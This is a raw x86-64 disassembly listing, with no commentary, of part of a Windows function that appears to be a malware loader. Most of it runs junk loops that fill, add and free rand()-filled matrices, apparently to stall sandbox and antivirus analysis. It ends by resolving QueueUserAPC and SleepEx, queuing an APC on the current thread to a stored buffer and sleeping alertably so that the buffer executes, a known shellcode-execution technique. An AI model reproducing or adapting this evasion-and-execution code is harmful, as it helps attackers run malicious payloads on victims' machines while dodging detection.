imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x800]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x630]
add rdx, rax
mov eax, dword [rbp + 0x800]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400029c3
add dword [rbp + 0x7fc], 1
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x4f
jle 0x140002931
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x29
jle 0x140002922
cmp dword [rbp + 0x7fc], 0x690
jne 0x140002a01
mov dword [rbp + 0x63c], 1
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x80c], 0x68
jne 0x140002a28
mov dword [rbp + 0x80c], 0
jmp 0x140002c6c
mov ecx, 0x1b20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov ecx, 0x1b20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov ecx, 0x1b20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
mov dword [rbp + 0x7f8], 0
jmp 0x140002b4e
mov dword [rbp + 0x7f4], 0
jmp 0x140002b3a
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7f8]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x628]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7f4]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7f8]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x620]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7f4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x1e
jle 0x140002a79
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x37
jle 0x140002a6a
mov dword [rbp + 0x7f8], 0
jmp 0x140002c2b
mov dword [rbp + 0x7f4], 0
jmp 0x140002c17
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x7f4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x620]
add rdx, rax
mov eax, dword [rbp + 0x7f4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x618]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x7f4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x1e
jle 0x140002b79
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x37
jle 0x140002b6a
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x618]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x80c], 1
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x4dc
jle 0x1400028b0
mov rax, qword [rbp + 0x680]
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x648]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x640]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x860]
add rsp, 0x8f8
pop rbx
pop rsi
pop rdi
pop rbp
ret